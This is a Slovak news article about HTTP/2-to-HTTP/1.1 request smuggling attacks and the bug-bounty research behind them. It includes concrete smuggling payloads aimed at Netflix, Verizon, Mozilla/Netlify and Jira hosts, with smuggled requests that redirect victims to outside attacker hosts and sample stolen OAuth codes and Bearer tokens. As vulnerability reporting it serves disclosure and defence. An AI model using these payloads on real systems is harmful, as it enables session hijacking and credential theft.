Webové systémy, v ktorých front-end prijíma spojenia cez HTTP/2 a odovzdáva ich backendu cez HTTP/1.1, sa ukázali ako zraniteľné voči novej variante útoku "HTTP Request Smuggling", ktorý umožňuje prenikanie do obsahu požiadaviek iných používateľov prostredníctvom špeciálne formulovaných klientskych požiadaviek, spracovávaných v tej istej priebehu medzi front-endom a backendom. Tento útok môže byť použitý na vloženie škodlivého JavaScript kódu do relácie s legitímnou webovou stránkou, obchádzanie systémov obmedzenia prístupu a zachytávanie autentifikačných parametrov.
Problému sú vystavené webové proxy, vyvažovače záťaže, webové akcelerátory, systémy dodávania obsahu a iné konfigurácie, v ktorých sú požiadavky presmerovateľné podľa schémy front-end-backend. Autor štúdie demonštroval možnosť útoku na systémy Netflix, Verizon, Bitbucket, Netlify CDN a Atlassian a získal 56 tisíc dolárov v programoch na vyplácanie odmien za odhaľovanie zraniteľností. Prítomnosť problému bola tiež potvrdená v produktoch F5 Networks. Čiastočne sa problém dotýka mod_proxy v http serveri Apache (CVE-2021-33193), opravy sa očakávajú vo verzii 2.4.49 (vývojári boli o probléme informovaní začiatkom mája a dostali 3 mesiace na opravu). V nginx bola možnosť súčasného uvádzania hlavičiek „Content-Length“ a „Transfer-Encoding“ zablokovaná v poslednom vydaní (1.21.1). Prostriedky na realizáciu útokov už boli pridané do nástroja Burp a sú dostupné vo forme rozšírenia Turbo Intruder.
Princíp nového spôsobu vnikania požiadaviek do prevádzky je podobný zraniteľnosti, ktorú odhalil ten istý výskumník pred dvoma rokmi, ale obmedzený na front-endy, ktoré prijímajú požiadavky cez HTTP/1.1. Pripomeňme, že v schéme front-end-backend prijíma požiadavky klientov ďalší uzol — front-end, ktorý ustanovuje dlhodobé TCP spojenie s backendom, ktorý vykonáva priame spracovanie požiadaviek. Cez toto spoločné spojenie sa zvyčajne prenášajú požiadavky rôznych používateľov, ktoré nasledujú po sebe s oddelením prostriedkami protokolu HTTP.
Klasická útok "HTTP Request Smuggling" vychádza z toho, že front-endy a back-endy rôzne interpretujú použitie HTTP hlavičiek "Content-Length" (určuje celkovú veľkosť údajov v žiadosti) a "Transfer-Encoding: chunked" (umožňuje prenášať údaje po častiach). Napríklad, ak front-end podporuje iba "Content-Length", ale ignoruje "Transfer-Encoding: chunked", útočník môže odoslať žiadosť, v ktorej sú súčasne uvedené hlavičky "Content-Length" a "Transfer-Encoding: chunked", ale veľkosť v "Content-Length" nezodpovedá veľkosti v chunked reťazci. V takom prípade front-end spracuje a presmeruje žiadosť v súlade s "Content-Length", zatiaľ čo back-end bude očakávať dokončenie bloku na základe "Transfer-Encoding: chunked" a zvyšok žiadosti útočníka sa ocitne na začiatku cudzej žiadosti, ktorá bola odoslaná následne.
Na rozdiel od textového protokolu HTTP/1.1, ktorého analýza prebieha na úrovni riadkov, HTTP/2 je binárny protokol, ktorý manipuluje s blokmi údajov vopred určeného veľkosti. Pri tom sa v HTTP/2 používajú pseudo-hlavičky, ktoré zodpovedajú bežným hlavičkám HTTP. V prípade interakcie s back-endom prostredníctvom protokolu HTTP/1.1 front-end prevádza tieto pseudo-hlavičky na zodpovedajúce HTTP hlavičky HTTP/1.1. Problém je v tom, že back-end robí rozhodnutia o analýze prúdu už na základe vystavených front-endom HTTP hlavičiek, bez informácií o parametroch pôvodnej žiadosti.
Medzi pseudo-hlavičkami môžu byť prenášané hodnoty "content-length" a "transfer-encoding", hoci v HTTP/2 nie sú používané, pretože veľkosť všetkých údajov je určená v samostatnom poli. Napriek tomu, počas prevodu žiadosti HTTP/2 na HTTP/1.1 sa tieto hlavičky prenášajú a môžu uviesť back-end do omylu. Vyčleňujú sa dva hlavné varianty útoku: H2.TE a H2.CL, v ktorých je back-end uvedený do omylu nesprávnou hodnotou transfer-encoding alebo content-length, ktorá nezodpovedá skutočnej veľkosti tela žiadosti prijatej front-endom prostredníctvom protokolu HTTP/2.

Ako príklad útoku H2.CL sa uvádza nesprávna veľkosť v pseudo-hlavnej časti content-length pri odoslaní požiadavky HTTP/2 na Netflix. Táto požiadavka vedie k pridaniu podobnej HTTP hlavy Сontent-Length pri prístupe k backendu cez HTTP/1.1, ale pretože je veľkosť v Сontent-Length uvedená ako menšia, časť dát na konci sa spracováva ako začiatok nasledujúcej požiadavky.
Napríklad požiadavka HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Vedie k odoslaniu požiadavky backendu: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Pretože Content-Length má hodnotu 4, backend prijme ako telo požiadavky len 'abcd', a zvyšok 'GET /n HTTP/1.1...' spracuje ako začiatok nasledujúcej požiadavky, ktorá je viazaná na iného používateľa. Samozrejme sa nastane desynchronizácia prúdu a v odpovedi na nasledujúcu požiadavku sa vráti výsledok spracovania podvodnej požiadavky. V prípade Netflixu uvedenie externého hostiteľa v hlave 'Host:' v podvodnej požiadavke viedlo k vráteniu odpovede klientovi 'Location: https://02.rs?x.netflix.com/n' a umožnilo preniesť klientovi ľubovoľný obsah, vrátane vykonania vlastného JavaScript kódu v kontexte stránky Netflix.
Druhá varianta útoku (H2.TE) je spojená s vložením hlavy 'Transfer-Encoding: chunked'. Používanie pseudo-hlavnej časti transfer-encoding v HTTP/2 je špecifikáciou zakázané a požiadavky s ňou by sa mali považovať za nesprávne. Napriek tomu niektoré implementácie frontendov túto požiadavku nezohľadňujú a umožňujú používanie pseudo-hlavnej časti transfer-encoding v HTTP/2, ktorá je prevedená na rovnakú hlavu HTTP. Ak je prítomná hlava 'Transfer-Encoding', backend ju môže považovať za prioritnejšiu a spracovať dáta po častiach v režime 'chunked' s použitím blokov rôznej veľkosti vo formáte '{veľkosť}\r\n{blok}\r\n{veľkosť}\r\n{blok}\r\n0', napriek pôvodnému rozdeleniu podľa celkovej veľkosti.
Prítomnosť takejto zraniteľnosti bola demonštrovaná na príklade spoločnosti Verizon. Problém sa týkal autentifikačného portálu a systému správy obsahu, ktorý sa tiež používa na takých stránkach ako Huffington Post a Engadget. Napríklad požiadavka klienta cez HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Viedol k odoslaniu HTTP/1.1 požiadavky na backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Backend zase ignoroval hlavičku „Content-Length“ a vykonával rozdelenie prúdu na základe „Transfer-Encoding: chunked“. V praxi útok umožnil presmerovať požiadavky používateľov na svoju stránku a takisto zachytiť požiadavky súvisiace s autentizáciou OAuth, parametre ktorých sa objavovali v hlavičke Referer, a simulovať autentifikačnú reláciu, pričom systém používateľa inicioval odoslanie poverení na hostiteľa útočníka. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Na útoky na implementácie HTTP/2, ktoré nepovoľujú zadávanie pseudo-hlavičky transfer-encoding, bol navrhnutý ďalší spôsob, súvisiaci s vložením hlavičky „Transfer-Encoding“ cez jej pripojenie k iným pseudo-hlavičkám s rozdelením pomocou znaku nového riadku (pri prevode do HTTP/1.1 v takomto prípade vznikajú dve samostatné HTTP-hlavičky).
Například uvedenému problému boli vystavené Atlassian Jira a Netlify CDN (používané na dodávanie úvodnej stránky Mozilla vo Firefoxe). Konkrétne požiadavka HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
viedlo k odoslaniu HTTP/1.1 požiadavky na backend POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Ďalším variantom vloženia hlavičky „Transfer-Encoding“ bolo pripevniť ho k názvu inej pseudo-hlavičky alebo k reťazcu s metódou požiadavky. Napríklad pri prístupe k Atlassian Jira názov pseudo-hlavičky „foo: bar\r\ntransfer-encoding“ s hodnotou „chunked“ viedol k pripojeniu HTTP-hlavičiek „foo: bar“ a „transfer-encoding: chunked“, a uvedenie v pseudo-hlavičke „:method“ hodnoty „GET / HTTP/1.1\r\nTransfer-encoding: chunked“ sa previedlo na „GET / HTTP/1.1\r\ntransfer-encoding: chunked.“
Výskumník, ktorý problém objavil, tiež navrhol techniku tunelovania požiadaviek na vykonanie útoku na frontendy, v ktorých pre každý IP adresy Sám sa vytvára samostatné pripojenie k backendu a prevádzka rôznych používateľov sa nemieša. Navrhnutá technika neumožňuje zasahovať do požiadaviek iných používateľov, avšak umožňuje zaslať spoločnú vyrovnávaciu pamäť, ktorá ovplyvňuje spracovanie iných požiadaviek, a umožňuje vykonávať substitúciu vnútorných HTTP hlavičiek, ktoré sa používajú na prenos údajov od frontendu k backendu (napríklad pri autentifikácii na strane frontendu môžu byť v týchto hlavičkách backendu posielané údaje o aktuálnom používateľovi). Ako príklad aplikácie metódy v praxi sa pomocou zasielania vyrovnávacej pamäte podarilo získať kontrolu nad stránkami v službe Bitbucket.
Zdroj: opennet.ru
